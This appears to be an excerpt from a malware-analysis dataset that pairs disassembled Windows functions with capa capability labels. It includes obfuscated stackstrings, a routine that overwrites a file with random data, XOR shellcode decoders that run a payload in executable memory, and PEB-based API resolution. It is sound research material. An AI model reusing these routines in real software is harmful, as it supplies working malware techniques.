joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ac90
Capabilities:
Contain obfuscated stackstrings
Set file attributes

Disassembly:
sub esp, 0x448
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x444], eax
mov eax, dword [esp + 0x44c]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov bl, 0x65
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x38]
push edx
mov dword [esp + 0x18], eax
mov byte [esp + 0x3c], 0x6b
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x72
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], 0x6c
mov byte [esp + 0x42], 0x33
mov byte [esp + 0x43], 0x32
mov byte [esp + 0x44], 0x2e
mov byte [esp + 0x45], 0x64
mov byte [esp + 0x46], 0x6c
mov byte [esp + 0x47], 0x6c
mov byte [esp + 0x48], 0
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], 0x72
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x34], 0x74
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x46
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], 0x6c
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x41
mov byte [esp + 0x3b], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x48]
push ecx
mov byte [esp + 0x4c], 0x6b
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x72
mov byte [esp + 0x4f], 0x6e
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x6c
mov byte [esp + 0x52], 0x33
mov byte [esp + 0x53], 0x32
mov byte [esp + 0x54], 0x2e
mov byte [esp + 0x55], 0x64
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0x6c
mov byte [esp + 0x58], 0
mov byte [esp + 0x24], 0x57
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], 0x69
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x46
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], 0x6c
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0
call esi
push eax
call edi
mov edx, dword [esp + 0x10]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
mov ebx, eax
push edx
call ebp
mov edi, eax
cmp edi, 0xffffffff
je 0x1000aea1
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x3ff
lea eax, [esp + 0x59]
push 0
push eax
mov dword [esp + 0x20], 0
mov byte [esp + 0x60], 0
call fcn.10012980
add esp, 0xc
call fcn.10013457
cdq
mov ecx, 0x5005
idiv ecx
xor ebp, ebp
mov dword [esp + 0x18], edx
test edx, edx
jle 0x1000ae87
mov edx, ebp
and edx, 0x800003ff
jns 0x1000ae45
dec edx
or edx, 0xfffffc00
inc edx
jne 0x1000ae6c
xor esi, esi
lea esp, [esp]
call fcn.10013457
add eax, esi
cdq
mov ecx, 0xff
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x53], dl
jl 0x1000ae50
push 0
lea edx, [esp + 0x18]
push edx
push 0x400
lea eax, [esp + 0x60]
push eax
push edi
call ebx
inc ebp
cmp ebp, dword [esp + 0x18]
jl 0x1000ae33
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx ecx, word [0x10027868]
mov edx, dword [esp + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, dword [esp + 0x454]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10012866
add esp, 0x448
ret
Function at 0x1000bda0
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
xor eax, eax
push esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov eax, dword [0x1002a74c]
push 0x7f04
push eax
mov dword [esp + 0xc], 2
mov dword [esp + 0x10], 0x1000a190
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [esp + 0x18], eax
mov eax, dword [0x1002a74c]
push 0x7f8b
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [esp + 0x20], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
lea ecx, [esp + 4]
push ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], 0x66
mov dword [esp + 0x2c], str.WIN32_Application
call dword [sym.imp.USER32.dll_RegisterClassA]
mov eax, dword [0x1002a74c]
push 0
push eax
push 0x66
push eax
call dword [sym.imp.USER32.dll_LoadMenuA]
push eax
push 0
push closesocket
push closesocket
push closesocket
push closesocket
push 0xcf0000
push str.My_Win32_Applaction
push str.WIN32_Application
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [esp + 0x34]
mov edx, dword [esi]
push 0x104
push edx
push 0x1002a9c0
call fcn.10013170
mov eax, dword [esi]
push 0x104
push eax
push 0x1002a9c0
call fcn.10013804
add esp, 0x18
push 0x1000bd60
push 0x1002a9c0
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 1
push 0
push 2
mov dword [0x1002a880], eax
call fcn.1000a130
push 0
push 0
push 4
call fcn.1000a130
add esp, 0x18
push 0
push 0
push 0
push 0x1000b7d0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1000aec0
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x1002722c], eax
lea ecx, [ecx]
push 0
push 0
call fcn.1000bad0
add esp, 8
push 0x3e8
call esi
jmp 0x1000bf10
Function at 0x10012866
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10028ce0]
jne 0x10012870
repz ret
jmp fcn.10016b8c

Function at 0x10013479
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x100134aa
call fcn.10015714
mov dword [eax], esi
call fcn.10015701
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.100130e0
add esp, 0x14
push 0x16
pop eax
jmp 0x100134ff
test dword [ebp + 0xc], 0xfffffff9
jne 0x10013486
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100134d7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10015727
pop ecx
call fcn.10015701
mov eax, dword [eax]
jmp 0x100134ff
test al, 0x10
jne 0x100134fd
test al, 1
je 0x100134fd
test byte [ebp + 0xc], 2
je 0x100134fd
call fcn.10015714
mov dword [eax], 5
call fcn.10015701
mov dword [eax], 0xd
jmp 0x100134ce
xor eax, eax
pop esi
pop ebp
ret

Function at 0x1001c8fa
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100164d0
and dword [ebp - 4], 0
cmp dword [0x1002b4b4], 0
mov ebx, eax
jne 0x1001c9ab
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1001ca5c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x100239f8
push edi
call esi
test eax, eax
je 0x1001ca5c
push eax
call fcn.1001645e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1002b4b4], eax
call esi
push eax
call fcn.1001645e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1002b4b8], eax
call esi
push eax
call fcn.1001645e
mov dword [esp], 0x100239c8
push edi
mov dword [0x1002b4bc], eax
call esi
push eax
call fcn.1001645e
pop ecx
mov dword [0x1002b4c4], eax
test eax, eax
je 0x1001c9ab
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1001645e
pop ecx
mov dword [0x1002b4c0], eax
mov eax, dword [0x1002b4c0]
cmp eax, ebx
je 0x1001ca03
cmp dword [0x1002b4c4], ebx
je 0x1001ca03
push eax
call fcn.100164d9
push dword [0x1002b4c4]
mov esi, eax
call fcn.100164d9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1001ca03
test edi, edi
je 0x1001ca03
call esi
test eax, eax
je 0x1001c9fa
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001c9fa
test byte [ebp - 0xc], 1
jne 0x1001ca03
or dword [ebp + 0x10], 0x200000
jmp 0x1001ca3c
mov eax, dword [0x1002b4b8]
cmp eax, ebx
je 0x1001ca3c
push eax
call fcn.100164d9
pop ecx
test eax, eax
je 0x1001ca3c
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1001ca3c
mov eax, dword [0x1002b4bc]
cmp eax, ebx
je 0x1001ca3c
push eax
call fcn.100164d9
pop ecx
test eax, eax
je 0x1001ca3c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1002b4b4]
call fcn.100164d9
pop ecx
test eax, eax
je 0x1001ca5c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1001ca5e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40db80
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x4143d8], 0
jne 0x40dc01
cmp dword [0x4143f8], 0
jne 0x40dbb0
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x4143f8], eax
test eax, eax
jne 0x40dbb0
push str.GetEnvironmentStrings_failed
call fcn.0040cbf0
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x4143f8]
jmp 0x40dbc4
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dbbc
lea edi, [ebp + 1]
push edi
call fcn.00405c3c
pop ecx
mov ebx, eax
mov dword [0x4143dc], ebx
test ebx, ebx
jne 0x40dbee
xor eax, eax
jmp 0x40dcc4
push edi
mov edx, dword [0x4143f8]
push edx
push ebx
call fcn.004069b8
add esp, 0xc
jmp 0x40dc21
xor esi, esi
mov ebx, dword [0x4143d8]
jmp 0x40dc1b
push eax
call fcn.00406b08
pop ecx
test eax, eax
jne 0x40dc17
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc0b
lea ebx, [esi + 4]
push 4
mov dword [0x4143e0], ebx
inc ebx
push ebx
call fcn.00405a3c
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x40dc44
xor eax, eax
jmp 0x40dcc4
cmp dword [0x4143d8], 0
jne 0x40dc75
xor esi, esi
mov ebx, dword [0x4143dc]
mov eax, dword [esp]
mov ebp, eax
jmp 0x40dc66
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dc5c
jmp 0x40dca6
xor esi, esi
mov ebx, dword [0x4143d8]
mov eax, dword [esp]
mov edi, eax
jmp 0x40dca0
push eax
call fcn.00406b08
pop ecx
test eax, eax
je 0x40dc95
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x40dc99
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc84
mov eax, dword [0x4143d8]
test eax, eax
je 0x40dcb6
push eax
call fcn.00405c4c
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x4143d8], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401855
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401894
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401894
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401894
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401894
cmp dword [ecx + 0x74], 0xe
jbe 0x401894
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x402c00
pop dword [ebp - 0x44]
mov eax, 0x6cf73fb4
sub eax, 0x6cb713b4
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x747dc889
sub dword [ebp - 0x54], 0x262b833e
mov dword [ebp - 0x50], 0x1ffe7ced
sub dword [ebp - 0x50], 0xedcb30a8
mov dword [ebp - 0x4c], 0x481958c
add dword [ebp - 0x4c], 0x47caaea2
mov dword [ebp - 0x48], 0xe54a9e0e
add dword [ebp - 0x48], 0x1ab561f2
lea eax, [ebp - 0x54]
push eax
mov eax, 0x7ca6efb5
sub eax, 0x7c667f51
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x8a54d9f8
sub dword [ebp - 0x54], 0x15e270a2
mov dword [ebp - 0x50], 0x3258b161
add dword [ebp - 0x50], 0xf13b014
mov dword [ebp - 0x4c], 0x6675dcc9
add dword [ebp - 0x4c], 0xfcf98fa3
mov dword [ebp - 0x48], 0x11b32b5d
add dword [ebp - 0x48], 0xee4cd4a3
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xc7e685fc
add eax, 0x3859eaac
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x383fe
push 0
call eax
mov ecx, 0x6be56b7d
sub ecx, 0x6be51d3f
xor esi, esi
add esi, eax
mov edx, 0x410000
add edx, dword [ebp - 0x44]
mov ebx, 0x3237d61a
sub ebx, 0x53676e57
sub dword [ebp - 0x3c], 0xc2628ee2
mov edi, dword [edx]
add dword [ebp - 0xc], ebx
xor edi, ebx
sub dword [ebp - 8], ecx
mov dword [esi], edi
xor dword [ebp - 0x38], 0x9c49311c
add esi, 0xf6ef905f
sub esi, 0xf6ef905b
add edx, 4
loop 0x402d1e
add eax, 0x3c064284
sub eax, 0x3c0516b9
xor ebx, ebx
add ebx, eax
add eax, 0x313a3c28
sub eax, 0x313a3c23
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x10005986
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x10005995
pop dword [ebp - 0x40]
mov eax, 0x10005995
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xba73be24
sub dword [ebp - 0x50], 0x6c2178d9
mov dword [ebp - 0x4c], 0xc4e45207
add dword [ebp - 0x4c], 0x6d4efa3e
mov dword [ebp - 0x48], 0xc850fe85
sub dword [ebp - 0x48], 0x7c04ba57
mov dword [ebp - 0x44], 0xe6cb6eec
sub dword [ebp - 0x44], 0xe6cb6eec
lea eax, [ebp - 0x50]
push eax
mov eax, 0x12a2799d
add eax, 0xfd5f576b
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xb019e461
add dword [ebp - 0x50], 0xc45884f5
mov dword [ebp - 0x4c], 0x7ead6d8d
add dword [ebp - 0x4c], 0xc2bef3e8
mov dword [ebp - 0x48], 0x99757bdb
sub dword [ebp - 0x48], 0x36060f6f
mov dword [ebp - 0x44], 0xe08d9b72
add dword [ebp - 0x44], 0x1f72648e
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xf38d8111
sub eax, 0xe38bb0cd
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3a9de
push 0
call eax
mov ecx, 0x6238efd6
sub ecx, 0x6238a659
xor edi, edi
add edi, eax
mov ebx, 0xa06c6189
sub ebx, 0x90691189
add ebx, dword [ebp - 0x40]
mov edx, 0x228082c
add edx, 0x3f362936
xor dword [ebp - 0x18], ebx
mov esi, dword [ebx]
sub dword [ebp - 0x1c], edi
add esi, edx
mov dword [ebp - 0x20], 0xdfbfd01a
mov dword [edi], esi
mov dword [ebp - 0x34], 0x7d6629ad
add edi, 0x2e8aaf6
add edi, 0xfd17550e
add ebx, 0xab7c50aa
add ebx, 0x5483af5a
loop 0x10005ab4
add eax, 0x3dc2f759
sub eax, 0x3dc1de92
mov ebx, eax
add eax, 0xac4497f4
sub eax, 0xac4497ef
mov ecx, 0x66e93665
add ecx, 0xa916c99b
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x1000d45b
Capabilities:
Hash data using djb2

Disassembly:
movzx eax, word [ecx]
mov edx, 0x1505
push esi
xor esi, esi
jmp 0x1000d475
imul edx, edx, 0x21
movzx eax, ax
xor edx, eax
inc esi
movzx eax, word [ecx + esi*2]
test ax, ax
jne 0x1000d468
imul eax, edx, 0x41c64e6d
imul ecx, edx, 0x10dcd
pop esi
add eax, 0x3039
shr eax, 0x10
inc ecx
and ecx, 0xffff0000
or eax, ecx
ret
Function at 0x10002e90
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002ec7
push 0x12
push 0x40248d8
push 6
call fcn.10020828
add esp, 0xc
jmp 0x10002ecc
mov esp, ebp
pop ebp
ret 4

Function at 0x10004b0e
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x10004b2d
add eax, 8
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
nop
nop
cmp dword [ebp - 8], esp
je 0x10004b54
push 0x19
push 0x402552a
push 6
call fcn.10020828
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10004b6b
mov eax, 0
jmp 0x10004ba7
push 0x80000301
push 0
push 0x10
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc4
call fcn.10022820
add esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
setne al
jmp 0x10004ba7
mov esp, ebp
pop ebp
ret 4

Function at 0x10004bad
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0
jne 0x10004bff
mov dword [ebp - 0xc], esp
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10004bf7
push 0x4f
push 0x4024973
push 6
call fcn.10020828
add esp, 0xc
mov dword [ebp - 4], eax
jmp 0x10004c38
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
push 0
push 1
xor eax, eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10004c35
push 0x7d
push 0x4024973
push 6
call fcn.10020828
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10004c4c
mov eax, 0
jmp 0x10004cb4
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10004c7d
push 0x10b
push 0x4024973
push 6
call fcn.10020828
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10004cac
push 0x12f
push 0x4024973
push 6
call fcn.10020828
add esp, 0xc
mov eax, dword [ebp - 8]
jmp 0x10004cb4
mov esp, ebp
pop ebp
ret 8

Function at 0x10004cba
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], esp
push dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
nop
nop
cmp dword [ebp - 4], esp
je 0x10004cf9
push 0x12
push 0x40248c1
push 6
call fcn.10020828
add esp, 0xc
jmp 0x10004cfe
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1000593b
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 4
push 1
mov ebx, 0x184
call fcn.100230f0
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10005980
push ebx
call fcn.10020822
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 4
push dword [ebp - 4]
push 0x23
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
nop
nop
cmp dword [ebp - 8], esp
je 0x100059bf
push 0x36
push 0x402505a
push 6
call fcn.10020828
add esp, 0xc
push SysStringLen
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x100059d2
mov eax, 0x1004422b
push eax
push 1
mov ebx, 0x9dc
call fcn.10023130
add esp, 0x10
jmp 0x100059ea
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100059fb
push ebx
call fcn.10020822
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x100061db
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x1000628f
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.1000616b
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x10006268
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000629b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x100062b6
test ebp, ebp
je 0x100062b6
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x100062be
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x100062fe
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x1000635a
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x10006355
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10006340
test dl, dl
je 0x1000633c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10006340
add ecx, 2
add eax, 2
test dl, dl
jne 0x10006320
xor eax, eax
jmp 0x10006345
sbb eax, eax
or eax, 1
test eax, eax
je 0x10006364
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x1000630d
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x1000637b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.100061db
test eax, eax
jne 0x10006393
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.1000629b
mov esi, eax
test esi, esi
jne 0x100063c9
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x100063e3
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret